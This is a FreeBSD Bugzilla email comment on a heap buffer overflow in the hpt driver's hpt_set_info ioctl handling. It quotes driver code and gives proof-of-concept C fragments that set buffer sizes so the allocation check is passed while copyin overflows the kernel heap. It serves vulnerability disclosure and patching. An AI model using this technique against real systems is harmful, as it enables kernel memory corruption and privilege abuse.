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Subject: [Bug 206585] hpt_set_info possible buffer overflow
Date: Mon, 25 Jan 2016 19:38:35 +0000
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https://bugs.freebsd.org/bugzilla/show_bug.cgi?id=3D206585

--- Comment #4 from CTurt <ecturt@gmail.com> ---
Supplying the `HPT_IOCTL_GET_EVENT` command will ensure that
`Kernel_DeviceIoControl` function instantly returns, resulting in
`hpt_set_info` returning straight after doing the `malloc`, `copyin`, and
`free`:

        case HPT_IOCTL_GET_EVENT:
                {
                        PHPT_EVENT pInfo;

                        if (nInBufferSize!=3D0) return -1;

I've also refined the `size` related parameters needed to fully control the
heap overflow:

        params.dwIoControlCode =3D HPT_IOCTL_GET_EVENT;
        params.lpInBuffer =3D mapping;
        params.nInBufferSize =3D bufferSize + overflowSize;
        params.lpOutBuffer =3D NULL;
        params.nOutBufferSize =3D -overflowSize;
        params.lpBytesReturned =3D &bytesReturned;

        printf("  [+] nInBufferSize (size copied in): %08x\n",
params.nInBufferSize);
        printf("  [+] nOutBufferSize: %08x\n", params.nOutBufferSize);
        printf("  [+] Sum (allocation size): %08x\n", params.nInBufferSize +
params.nOutBufferSize);
        printf("  [+] Will be accepted: %d\n", (params.nInBufferSize +
params.nOutBufferSize) <=3D PAGE_SIZE);

You can get very manageable sizes from this, for example, allocated
`bufferSize` of `0x500`, and copy size of `0x1000`.

I'll try to get around to writing a full exploit for this soon, but won't be
very useful since the vulnerability is only triggerable as `root` anyway.

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